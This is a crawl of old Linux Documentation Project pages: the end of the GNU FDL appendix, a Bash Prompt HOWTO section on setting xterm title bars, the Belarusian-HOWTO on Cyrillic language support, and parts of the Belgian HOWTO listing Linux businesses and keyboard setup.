The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
MODIFICATIONS | Up | COLLECTIONS OF DOCUMENTS


COLLECTIONS OF DOCUMENTS

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
COMBINING DOCUMENTS | Up | AGGREGATION WITH INDEPENDENT WORKS


AGGREGATION WITH INDEPENDENT WORKS

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
COLLECTIONS OF DOCUMENTS | Up | TRANSLATION


TRANSLATION

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
AGGREGATION WITH INDEPENDENT WORKS | Up | TERMINATION


TERMINATION

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
TRANSLATION | Up | FUTURE REVISIONS OF THIS LICENSE


FUTURE REVISIONS OF THIS LICENSE

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
TERMINATION | Up | How to use this License for your documents


How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
FUTURE REVISIONS OF THIS LICENSE | Up


Xterm Title Bar Manipulations

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 6. ANSI Escape Sequences: Colours and Cursor Movement Next

6.3. Xterm Title Bar Manipulations

I'm not sure that these escape sequences strictly qualify as "ANSI Escape Sequences," but in practice their use is almost identical so I've included them in this chapter.

Non-printing escape sequences can be used to produce interesting effects in prompts. To use these escape sequences, you need to enclose them in \[ and \] (as discussed in Section 3.4, telling Bash to ignore this material while calculating the size of the prompt. Failing to include these delimiters results in line editing code placing the cursor incorrectly because it doesn't know the actual size of the prompt. Escape sequences must also be preceded by \033[ in Bash prior to version 2, or by either \033[ or \e[ in later versions.

If you try to change the title bar of your Xterm with your prompt when you're at the console, you'll produce garbage in your prompt. To avoid this, test the TERM environment variable to tell if your prompt is going to be in an Xterm.

function proml
{
case $TERM in
    xterm*)
        local TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        local TITLEBAR=''
        ;;
esac

PS1="${TITLEBAR}\
[\$(date +%H%M)]\
[\u@\h:\w]\
\$ "
PS2='> '
PS4='+ '
}

This is a function that can be incorporated into ~/.bashrc. The function name could then be called to execute the function. The function, like the PS1 string, is stored in the environment. Once the PS1 string is set by the function, you can remove the function from the environment with unset proml. Since the prompt can't change from being in an Xterm to being at the console, the TERM variable isn't tested every time the prompt is generated. I used continuation markers (backslashes) in the definition of the prompt, to allow it to be continued on multiple lines. This improves readability, making it easier to modify and debug.

The first step in creating this prompt is to test if the shell we're starting is an xterm or not: if it is, the shell variable (${TITLEBAR}) is defined. It consists of the appropriate escape sequences, and \u@\h:\w, which puts <user>@<machine>:<working directory> in the Xterm title bar. This is particularly useful with minimized Xterms, making them more rapidly identifiable. The other material in this prompt should be familiar from previous prompts we've created.

The only drawback to manipulating the Xterm title bar like this occurs when you log into a system on which you haven't set up the title bar hack: the Xterm will continue to show the information from the previous system that had the title bar hack in place.

A suggestion from Charles Lepple (<clepple at negativezero dot org>) on setting the window title of the Xterm and the title of the corresponding icon separately. He uses this under WindowMaker because the title that's appropriate for an Xterm is usually too long for a 64x64 icon. "\[\e]1;icon-title\007\e]2;main-title\007\]". He says to set this in the prompt command because "I tried putting the string in PS1, but it causes flickering under some window managers because it results in setting the prompt multiple times when you are editing a multi-line command (at least under bash 1.4.x -- and I was too lazy to fully explore the reasons behind it)." I had no trouble with it in the PS1 string, but didn't use any multi-line commands. He also points out that it works under xterm, xwsh, and dtterm, but not gnome-terminal (which uses only the main title). I also found it to work with rxvt, but not kterm.

Prev | Home | Next
Cursor Movement | Up | Colours and Cursor Movement With tput


Belarusian-HOWTO

Alexander Mikhailian, mikhailian@altern.org

v.0.1.5, 25 February 2001

Short guide in setting up Belarusian language support in Linux console, X Window System, web-browsers, text editors, etc. Charsets used in the setup are either windows-1251 or iso-8859-5. Belarusian characters can also be found in koi8-ub, koi8-c, koi8-ru and, of course, Unicode. Although this HOWTO is Linux-specific, many advices are applicable to other UNIX-like systems.

Table of Contents
1. Introduction
1.1. History
1.2. Comments
1.3. New Versions
1.4. Copyright
1.5. Acknowledgements and Thanks
2. System-wide setup
2.1. Choosing Charset
2.2. windows-1251 in the kernel
2.3. ISO-8859-5 in the kernel
2.4. Setting locale
2.5. Belarusian in console
2.6. Belarusian in X Window System
3. Editing texts
3.1. Emacs
3.2. Spell-checking
3.3. TeX
4. Browsers
4.1. Netscape
4.2. Lynx
5. Mailers
5.1. Netscape Messenger
5.2. Mutt
6. Further support
Next
Introduction


Introduction

Belarusian-HOWTO
Prev Next

1. Introduction

1.1. History

This document was started in September 15, 1999 by Alexander Mikhailian

1.2. Comments

Comments on this HOWTO may be directed to the author mikhailian@altern.org.

1.3. New Versions

The newest version can always be found at the bellinux page.

1.4. Copyright

This manual may be reproduced in whole or in part without restrictions.

1.5. Acknowledgements and Thanks

Thanks to everyone who gave comments as I was writing this.

Prev | Home | Next
Belarusian-HOWTO |  | System-wide setup


System-wide setup

Belarusian-HOWTO
Prev Next

2. System-wide setup

2.1. Choosing Charset

As for now, the choice is mainly between windows-1251 and iso-8859-5. Windows-1251 provides compatibility with M$ Windows and it is is by far the most popular charset for nearly all slavic languages. On the other side, iso-8859-5 is better supported and easier to set up.

The present HOWTO will explain the use of both charsets in parallel. Unless otherwise stated in the text, Belarusian support package from the bellinux page contains all the files mentioned in the present HOWTO.

2.2. windows-1251 in the kernel

Windows-1251 support in the kernel is needed to visualize MS Windows filenames in cyrillic while the console and X Window system are localized in windows-1251. As latest FAT file systems store filenames in Unicode, we have to define the output charset of the Virtual File System layer and install the support for windows-1251 in the kernel.

There is a patch for 2.2.14 kernels that is included in the Belarusian support package. To apply the patch,

  •  cd /path_to_your_kernel_source_tree

  •  patch -p0 < patch_for_the_kernel.patch

  • Recompile and reinstall the kernel modules. Refer to Kernel-HOWTO for the details.

  • Add
     codepage=866,iocharset=microsoft-cp1251
    to your mount options in order to get the filenames in windows-1251.

    To test the setup, execute
     mount /dev/hda -t vfat -o codepage=866,iocharset=iso8859-5 /mnt/hda
    as root. Of course, you should replace /dev/hda by the name of your vfat partitions containing names in cyrillic.

2.3. ISO-8859-5 in the kernel

There is built-in support for iso-8859-5 in Linux kernel. To enable iso-8859-5, make sure you compile this module in the nls section of the kernel setup. Normally, iso-8859-5 is compiled by default and can be loaded either automatically or by issuing
 insmod nls_iso8859-5
as root.

Add
 codepage=866,iocharset=iso8859-5
to your mount options in order to get the filenames in iso-8859-5.

2.4. Setting locale

  • Belarusian locale is available in glibc 2.2 and later. If you do not have the belarusian locale installed in your system, you can compile it yourself. The source is available at the bellinux page. Issue
     localedef -f CP1251 -i be_BY be_BY.CP1251
    or
     localedef -f ISO-8899-5 -i be_BY be_BY.ISO-8899-5
    to compile the locale in windows-1251 encoding or iso8859-5 encoding.

  • Check how it works by setting the locale
     set  LANG=be_BY.CP1251; export LANG
    or
     set  LANG=be_BY.ISO-8859-5; export LANG
    and running a locale-aware program like date or cal.

2.5. Belarusian in console

2.5.1. Setting Belarusian with windows-1251

Some cyrillic console fonts are in fact russian fonts and lack many cyrillic characters. Fortunately, UniCyr fonts by Vadinm Zhitnikov have all the glyphs from cp866, cp1251, iso8859-5 and all printable symbols from koi8-r. Besides the belarusian keyboard maps which you can find at the the bellinux page , other files are fairly standard and are available in most linux distributions. To set up window-1251 in console,

  • Load a UniCyr font
     consolechars -f UniCyr_8x16

  • Load by2_win.kmap keymap.
     loadkeys by2_win

  • Load Application-Charset Map cp1251.acm
     consolechars -m cp1251

2.5.2. Setting Belarusian with iso-8859-5

There are two ways to set up Belarusian with iso-8859-5

  • Load iso-8859-5 font
     consolechars -f iso05.f16

  • Load belarusian keymap by2.kmap or by.kmap
     loadkeys  by.kmap
 loadkeys by2.kmap

This method has one serious drawback - you will loose all pseudographic characters and, say, you Midnight Commander will look somewhat naked. The second method described below preserves all pseudographic characters:

  • Load UniCyr font
     consolechars -f UniCyr_8x16

  • Load by2.kmap keymap or by.kmap
     loadkeys  by.kmap
 loadkeys by2.kmap

  • Load Application-Charset Map iso05.acm
    consolechars -m iso05

Beware that different Linux distributions have different console-related packages - console-tools or kbd. Abovementioned scripts are meant to work with console-tools which is by far more popular.

2.6. Belarusian in X Window System

2.6.1. ISO-8859-5 in X Window System through XKB

This is is quite easy to set up.

  • Install ISO-8859-5 fonts for X Window and make sure they are before other fonts in the fontpath. Refer to Font-HOWTO for details on how to install fonts.

  • Get the belarusian keyboard layout by from the the bellinux page and put it on the place of any other keyborad layout in /usr/X11R6/lib/X11/xkb/symbols/, e.g. instead of the belgian keyboard layout /usr/X11R6/lib/X11/xkb/symbols/be

    Put the following stings in your /etc/X11/XF86COnfig:
     XkbModel   "microsoft"
 XkbLayout  "be"
 XkbOptions "grp:caps_toggle"

  • Don't forget to set up the system locale to be_BY.ISO8859-5 as described in Section 2.4. You will also want to make sure that iso-8859-5 fonts are before any other fonts in your font path.

2.6.2. Windows-1251 in X Window System through XKB

This works only with XFree 4.0.2 and higher.

  • Install ISO-8859-5 fonts for X Window and make sure they are before other fonts in the fontpath.

  • Get the belarusian keyboard layout by from the the bellinux page and put it on the place of any other keyborad layout in /usr/X11R6/lib/X11/xkb/symbols/, e.g. instead of the belgian keyboard layout /usr/X11R6/lib/X11/xkb/symbols/be

  • Put the following strings in your /etc/X11/XF86Config:
     XkbModel   "microsoft"
 XkbLayout  "be"
 XkbOptions "grp:caps_toggle"

  • Don't forget to set up the system locale to be_BY.CP1251 as described in Section 2.4.

To use windows-1251 with XFree 3.3.5 and 4.0, you have to apply a patch from Aleksey Novodvorsky that allows the use of windows-1251 with XKB. The original location is at ftp.logic.ru/pub/logic/linux/be-locale and it is also available from the bellinux page. Lucky users of Linux-Mandrake RE get a patched XFree86 out of box.

Belarusian keyboard layout is palnned for all XFree releases after 4.0.2. To make it work, you will have to add the following lines into /etc/X11/XF86Config:
 XkbModel   "microsoft"
 XkbLayout  "by"
 XkbOptions "grp:caps_toggle"

2.6.3. Windows-1251 in X Window System through Xmodmap

  • Uncomment
     XkbDisable
    line in your /etc/X11/XF86COnfig.

  • Install windows-1251 fonts for X Windows and make sure thay are before other fonts in the path.

  • Make and install xruskb package which can be downloaded from http://bellinux.sourceforge.net

  • Replace .xmm files in your xruskb directory by those found at the bellinux page.

  • Add the following lines in your .Xdefaults file
     xrus*modeButton1.labelString: BEL xrus*modeButton1.label: BEL

  • Run
     xrus jcuken-cp1251
    or
     xrus jcuken-iso5
    to start keyboard switcher.

Prev | Home | Next
Introduction |  | Editing texts


Editing texts

Belarusian-HOWTO
Prev Next

3. Editing texts

3.1. Emacs

Emacs is able to display Belarusian characters out of box in many Linux distributions. However, the following conditions should satisfy:

  • Cyrillic iso-8859-5 fonts should be installed.

  • Emacs-mule package should be installed.

The user may want to change the default keyboard layout ("input method" in emacs slang) to jcuken. This feature is provided by belarusian.el along with some other goodies. Read the comments in the beginning of belarusian.el for details on the setup procedure.

After installing belarusian.el, you will be able to switch the input method, by typing C-\-cyrillic-belarusian-RET

For a more user-friendly setup, put the following lines in the .emacs file:
 ;; enables PC-like key mappings
 (pc-bindings-mode)
 ;; enables PC-like selection
 (pc-selection-mode)
 ;; highlight selection
 (transient-mark-mode t)
 ;; use as many multilingual fonts as possible
 (set-default-font "fontset-standard")
 ;; set up windows-1251 as default encoding everywhere
 (codepage-setup 1251)
 (set-terminal-coding-system 'cp1251)
 (set-keyboard-coding-system nil)
 (setq default-buffer-file-coding-system 'cp1251)
 (set-selection-coding-system 'cp1251)
 (prefer-coding-system 'cp1251)
 (define-coding-system-alias 'windows-1251 'cp1251)
 (define-coding-system-alias 'microsoft-1251 'cp1251)
 (define-coding-system-alias 'microsoft-cp1251 'cp1251)
 (define-coding-system-alias 'windows-cp1251 'cp1251)
 (define-coding-system-alias 'koi8-u 'cyrillic-koi8)
 (define-coding-system-alias 'KOI8-R 'cyrillic-koi8)
 (modify-coding-system-alist 'file "\.*" 'cp1251)
 (modify-coding-system-alist 'file "\\.el$" 'iso-2022-7bit)
This configuration is for windows-1251 setup.

3.2. Spell-checking

  • If you do not have ispell 3.1.20, install it from any Linux distribution CD.

  • Download the package belspell.tar.gz. Unpack it and run
    buildhash belarusian.sml belarusian.aff belarusian.hash

  • Copy belarusian.hash to </usr/lib/ispell or wherever your ispell hash tables are.

  • in order to spell-check a file, type
    ispell -d belarusian yourfile.txt

Getting belarusian ispell dictionary working with emacs is a bit tricky.

  • Copy ispell.el and ispell.elc into your $EMACSBIN/../lisp directory.

  • Copy temporarily $EMACSBIN/../lisp/loaddefs.el to /usr/src/emacs-XX.X/lisp/loaddefs.el where XX.X stand for emacs version number.

  • M-x-update-file-autoloads-RET and enter the path to the ispell.el.

  • Copy back loaddefs.el

  • Restart emacs

3.3. TeX

from Aleksey Novodvorsky:

You need TeX + babel + T2, e.g. teTeX >= 1.0. in order to get partial support for Belarusian,

  • put babel.sty , belarusianb.ldf and belarusianb.sty into /usr/share/texmf/tex/generic/babel

  • run texhash

  • To use Belarusian in LaTeX: add the following lines in the preamble:
    \documentclass[belarusian]{article} \usepackage[cp1251]{inputenc}
\usepackage{babel}
    or
    \documentclass[belarusian]{article} \usepackage[iso88595]{inputenc}
\usepackage{babel}

Prev | Home | Next
System-wide setup |  | Browsers


Browsers

Belarusian-HOWTO
Prev Next

4. Browsers

4.1. Netscape

It is often a problem to correctly visualize Belarusian-specific characters with Netscape. This is due to that Netscape 4.x looks for any koi8-r font and, if it finds one, they refuse to use other fonts for displaying Cyrillic pages.

The problem is solved by removing koi8-r fonts from everywhere - X Window System font path and font server path.Then install koi8-ru, iso-8859-5 or windows-1251 and run
xset fp rehash
or restart X server. You will probably have to delete >preferences and preferences.js from the Netscape home directory .netscape and even then you are not guaranteed to have Netscape work right. Netscape's handling of fonts has always been an obscure issue.

Links to koi8-ru, iso-8859-5 and windows-1251 cyrillic fonts for X Window System can be found at the bellinux page

4.2. Lynx

In order to view Belarusian sites, you have to set up you console to handle the encoding you need. See section Section 2.5 for more details.

Add the following lines to your .linxrc file.
character_set=Cyrillic (windows-1251) preferred_language=be
preferred_charset=windows-1251
or
character_set=Cyrillic (ISO-8859-5) preferred_language=be
preferred_charset=iso-8859-5
if you have set up iso-8859-5 in console.

If the page you are browsing does not have an explicit charset declaration, press o and set the document charset manually.

Prev | Home | Next
Editing texts |  | Mailers


Mailers

Belarusian-HOWTO
Prev Next

5. Mailers

5.1. Netscape Messenger

Netscape Messenger can not handle belarusian texts properly. The same applies to Mozilla.

5.2. Mutt

Mutt handles a multitude of charsets and encodings with ease. If your console has windows-1251 support, add the following lines to your .muttrc:
 charset-hook "windows-1251" "cp1251" set charset="windows-1251"

Mutt automatically converts all incoming messages for the screen output. It can also convert outgoing messages basing itself on a versatile pattern matching mechanism, e.g. the following line in .muttrc will force mutt to convert all messages sent to be-locale@iatp.unibel.by to koi8-r.
send-hook '~t ^be-locale@iatp\.unibel\.by$' 'set
send_charset="koi8-r"'

Prev | Home | Next
Browsers |  | Further support


Further support

Belarusian-HOWTO
Prev

6. Further support

A mailing list devoted entirely to Belarusian language support is available at be-locale@iatp.unibel.by. To subscribe, send a message to majordomo@iatp.unibel.by with the string "subscribe be-locale youremailaddress" in the body of the message

Another mailing list that treats mostly linguistic issues is available at movaznaustva@egroups.com. To subscribe to it, send a message with empty body to movaznaustva-subscribe@egroups.com.

Prev | Home
Mailers |


Belgian Linux businesses

Belgian HOWTO
Prev Next

5. Belgian Linux businesses

The Linux Documentation Project contains worldwide lists of Linux businesses, Linux Consultants HOWTO and V.A.R. HOWTO, and can be found at: http://www.linuxports.com/.

5.1. aDOC Services

Address

Avenue du Pesage, 31-33
B-1050 Brussels

Phone

+32 (0)2 646 00 76

Email

<sales@adoc-services.com>

Web

http://www.adoc-services.com/

5.2. Arafox

Address

Avenue Joseph Wybranlaan 40
B-1070 Brussels

Phone

+32 (0)2 529 59 91

Fax

+32 (0)2 529 59 92

Email

<info@arafox.com>

Web

http://www.arafox.com/

5.3. Aragne

Address

Boulevard Général Michel 1E
B-6000 Charleroi

Phone

+32 (0)71 270 389

Email

<info@aragne.com>

Web

http://www.aragne.com/

Contact

Denis Frère <denis.frere@aragne.com>

Special expertise

GNU/Linux services, specially Python and Zope solutions (websites, intranet, Internet connectivity, ...)

5.4. Better Access nv

Address

Geldenaakse Vest 6
B-3000 Leuven

Phone

+32 (0)16 298 045

Fax

+32 (0)16 298 046

Email

<info@ba.be>

Web

http://www.ba.be/

Type of support

After an onsite installation, we mainly support our customers with SSH remote administration. Most problems are reported by E-mail or by the inhouse-developped webbased supportsystem. This doesn't mean that once in a while a supportcall comes in.

Special expertise

Security, systemadministration and setups, security (firewalling, tigerteaming, VPN, etc.) Networkdesign, wireless networking, Troubleshooting, product development, etc. Please visit http://www.ba.be for more info.

5.5. Consultux

Address

Alfons Jeurissenstraat 53
B-3500 Hasselt

Phone

+32 (0)474 91 55 61

Email

<info@consultux.be>

Web

http://www.consultux.be/

5.6. CoreSequence Consultancy & Training

Address

Tiensestraat 243/3
B-3000 Leuven

Phone

+32 (0)472 689 497

Fax

+32 (0)16 29 99 32

Email

<info@coresequence.com>

Web

http://www.coresequence.com/

Contact

Machtelt Garrels <sales@coresequence.com>

Special expertise

Consultancy: disaster recovery, troubleshooting. Training: Dutch/French/English speaking trainers.

5.7. CSS nv

Address

Henneaulaan 366
B-1930 Zaventem

Phone

+32 (0)2 718 53 33

Fax

+32 (0)706 53 306

Type of support

support on networking, installation, hardware maintenance, Red Hat certified reseller

Special expertise

Red Hat RHCE

5.8. D. Connect

Address

Av. Van Goidtsnoven 33
B-1180 Uccle

Email

<webmaster@dconnect.be>

Web

http://www.dconnect.be/

5.9. Dolmen

Address

Industriepark Zenneveld
Vaucampslaan 42
B-1654 Huizingen

Phone

+32 (0)2 362 55 55

Fax

+32 (0)2 362 55 99

Email

<info@dolmen.be>

Web

http://www.dolmen.be/

5.10. DS Improve bvba

Address

European Erasmus Business & Innovation Center
Joseph Wybranlaan 40
B-1070 Brussels

Phone

+32 (0)2 529 59 41

Fax

+32 (0)2 529 59 54

Email

<info@dsimprove.be>

Web

http://www.dsimprove.be/

5.11. EMMO Service

Address

Jan Van Harcourtlaan 7
B-3200 Aarschot

Phone

+32 (0)16 565 708

Fax

+32 (0)16 569 963

Email

<info@emmo.be>

Web

http://www.emmo.be/

5.12. FKS bvba

Address

Luikersteenweg 65
B-3500 Hasselt

Phone

+32 (0)11 214 911

Fax

+32 (0)11 220 419

Email

<info@fks.be>

Web

http://www.fks.be/

5.13. Glasshouse Business Networks bvba

Address

Hessenstraatje 20 loft 1.1
B-2000 Antwerp

Phone

+32 (0)3 234 96 96

Fax

+32 (0)3 234 96 97

Email

<info@glasshouse.be>

Web

http://www.glasshouse.be/

5.14. Grmbl productions

Address

Korte Vuldersstraat 30
B-8000 Brugge

Phone

+32 (0)50 674 512

Fax

+32 (0)50 342 623

Email

<info@grmbl.com>

Web

http://www.grmbl.com/

5.15. IBM Belgium sa/nv

Address

Square Victoria Regina 1
B-1210 Brussels

Phone

+32 (0)2 225 33 33

Fax

+32 (0)2 225 24 73

Email

<blueline@be.ibm.com>

Web

http://www.ibm.com/be/

Contact

Sam Versluys <sam_versluys@be.ibm.com>

5.16. IP Net generation

Address

Cyriel Verschaevelaan 12
B-2980 Zoersel

Phone

+32 (0)477 513 987

Email

<info@ipng.be>

Web

http://www.ipng.be/

Special expertise

IPnG focuses on Open Source software development.

5.17. Kangaroot Linux Solutions

Address

Grote Steenweg 91
B-2600 Berchem (Antwerp)

Phone

+32 (0)3 286 17 17

Fax

+32 (0)3 281 23 49

Email

<info@kangaroot.net>

Web

http://www.kangaroot.net/

Contact

Peter Dens <peter@kangaroot.net>

5.18. Life nv

Address

Greenhill Campus
Interleuvenlaan 15A
B-3001 Haasrode

Phone

+32 (0)16 208 961

Fax

+32 (0)16 207 973

Email

<info@life.be>

Web

http://www.life.be/

Contact

Erik Goven <egoven@life.be>

5.19. Linugen bvba

Address

Borkelstraat 2/4
B-2900 Schoten

Phone

+32 (0)475 604 106

Fax

+32 (0)3 293 343

Email

<info@linugen.com>

Web

http://www.linugen.com/

Contact

Tom Schouteden <tom@linugen.com>

5.20. LinuxIdee

Address

Prins Albertstraat 35
B-8310 Brugge

Phone

+32 (0)494 607 037

Fax

+32 (0)50 364 341

Web

http://www.linuxidee.com/

Contact

Jurgen Defurne <jurgen.defurne@pandora.be>

5.21. M-TEC SERVICE

Address

Kleine Nieuwendijk 40
B-2800 Mechelen

Phone

+32 (0)15 330 769

Fax

+32 (0)15 330 768

Email

<info@mtecservice.com>

Web

http://www.mtecservice.com/

Contact

Jeff Verheyen <jeff.verheyen@mtecservice.com>

5.22. Mind Linux Solutions

Address

Vaartkom 11
B-3000 Leuven

Phone

+32 (0)478 274 069

Fax

+32 (0)16 309 644

Email

<info@mind.be>

Web

http://mind.be/

Contact

Peter Vandenabeele <peter@mind.be>

Type of support

Installation & configuration, auditing & consultancy, support & maintenance, training & education, research & development.

Special expertise

We are specialised in installing Linux servers for various purposes (Web-, File-, Print- or Mailservers, Routers, Firewalls, VPN, ...) in heterogenous networks. We provide support and training for Linux and Open Source products and we develop custom Linux solutions for our customers.

5.23. Neolabs

Address

Zwarte Zusterstraat 16
B-3000 Leuven

Phone

+32 (0)16 236 342

Fax

+32 (0)16 650 497

Email

<info@neolabs.be>

Web

http://www.neolabs.be/

Contact

Maarten Slaets <maarten.slaets@neolabs.be>

5.24. Phidani Software sprl

Address

Rue de l'autonomie 1
B-1070 Brussels

Email

<info@phidani.be>

Phone

+32 (0)2 552 06 63

Fax

+32 (0)2 522 09 30

Web

http://www.phidani.be/

5.25. Qbian Linux Systems

Address

Bischoppenhoflaan 289
B-2100 Antwerp

Email

<info@qbian.com>

Phone

+32 (0)9 328 93 28

Fax

+32 (0)9 326 08 88

Web

http://www.qbian.com/

5.26. Si-Lab

Email

<toon@si-lab.com>

Phone

+32 (0)486 149 048

Web

http://www.si-lab.com/

Contact

Toon Knapen <toon@si-lab.com>

5.27. Spier bvba

Address

Knaptandstraat 96-98
B-9100 Sint-Niklaas

Email

<info@spier.be>

Phone

+32 (0)3 765 90 61

Fax

+32 (0)3 765 90 62

Web

http://www.spier.be/

5.28. Stone-IT Belgium

Address

Minerva Office Brussels
Minervastraat 14b
B-1930 Zaventem

Email

<info@be.stone-it.com>

Phone

+32 (0)2 720 88 35

Fax

+32 (0)2 720 51 71

Web

http://www.be.stone-it.com/

Contact

Martijn Smit <smit@stone-it.com>

Type of support

Stone-IT is a 'one-stop' Linux provider for integrating business environments in which we offer: Linux Consulting, Linux Solutions, Linux Support and Linux Education.

Special expertise

Stone-IT offers high quality Linux expertise and can develop, test and implement Linux in several different business environments such as all kinds of servers (File-/Web-/Name-/Mail-/Print servers), as well as Clustering, VPN, Storage, Firewalls & Routers. Our support consists of Pro Active Monitoring, 24 hours a day, 7 days a week. Besides having trainers being a Red Hat Certified Engineer we offer Distribution Independent Education.

5.29. Supporting Open Source cvba

Address

Zijpstraat 14
B-2570 Duffel

Email

<info@sos.be>

Phone

+32 (0)15 310 271

Fax

+32 (0)15 310 381

Web

http://www.sos.be/

5.30. Théridion sprlfs

Address

Rue de l'Aqueduc, 83
B-1050 Brussels

Email

<info@theridion.com>

Phone

+32 (0)2 539 32 28

Fax

+32 (0)2 539 19 54

Web

http://www.theridion.com/

Contact

Renaud Dans <renaud.dans@theridion.com>

5.31. VirgoPlus sprl

Address

Rue E. Solvay 29 A
B-4000 Liège

Phone

+32 (0)4 253 00 59

Fax

+32 (0)4 253 00 49

Email

<staff@virgoplus.com>

Web

http://www.virgoplus.com/

Contact

Bruno Mairlot <bruno@virgoplus.com>

Type of support

By phone, email, or remote networked administration, inhouse, onsite

Special expertise

Installation, configuration, administration of Linux, internet connection, intranet developpment, firewalls, samba, netatalk, firewalls, proxys, DNS, web server (Apache), mod_perl, MySQL, Gui interface developpment (GTK+). We have acquired a special expertise with the Red Hat distributions.

Prev | Home | Next
Belgian Linux user groups |  | Belgian Linux resources


Configuration

Belgian HOWTO
Prev Next

2. Configuration

2.1. Keyboard setup

Linux provides 2 ways to set up your keyboard. At the console you can use loadkeys and under XFree86 you can use xmodmap.

2.1.1. Console

To use the keytable for a Belgian keyboard you can use loadkeys be2-latin1 or loadkeys be-latin1. The only difference between the two is that be2-latin1 adds support for twosuperior and threesuperior (keycode 41) and grave (keycode 43).

Usually loadkeys is started at boottime from the scripts located somewhere in /etc/rc.d. Different distributions handle it differently. Most distributions have a simple program (like kbdconfig in Red Hat, install-keymap in Debian or yast in SuSE) to change the behaviour of these scripts.

2.1.2. XFree86

To set your keyboard properly under XFree86 you've got more choices. By running Xconfigurator (or a similar program) a config-file for XFree86 is created (with some standard behaviour). This file is called XF86Config-4 or XF86Config and is usually located in /etc/X11 or /etc

Make sure (and change otherwise) that something similar to this is given under the Keyboard Section.
    Section "Keyboard"
        Protocol        "Standard"
        XkbRules        "xfree86"
        XkbModel        "pc101"
        XkbLayout       "be"
    EndSection

If you own a 'microsoft' keyboard (or the less-known penguin keyboards ;p) you can enable those extra 3 keys by changing the "pc101" into "pc104". (I use the extra keys as meta-keys in my windowmanager so some shortcuts don't conflict with the internal ones of my wm).

To get the AltGr key to work under XFree86 simply add in the Keyboard Section:
    RightAlt        ModeShift

2.1.3. Compose key

Some people prefer to use a 'Compose'-key to enter their special characters, like:
    Compose-' e    =>    é
    Compose-/ o    =>    ø
    Compose-c ,    =>    ç
    Compose-c o    =>    ©
    Compose-s s    =>    ß
For XFree86, the solution is to enter xmodmap -e "keycode xx = Multi_key" or xmodmap -e "keysym yy = Multi_key" where 'xx' is the keycode or 'yy' the keysym of the key you choose to be the 'Compose'-key. (use xev to get these values)

Alternatively you can add keycode xx = Multi_key to your ~/.xmodmaprc. This way it happens automagically.

For the console, you could do something similar with loadkeys. echo "altgr keycode 52 = Compose" | loadkeys to use AltGr-/ as a 'Compose'-key.

2.2. Display and applications

Some applications have to be compiled as 8-bit clean to work well with the European characterset. Others like to be told in advance.

2.2.1. Using the ISO-8859-1 font in console

You can load the ISO-8859-1 font by typing the following in console:
    setfont lat1u-16.psf
    mapscrn trivial
    echo -ne '\033(K'

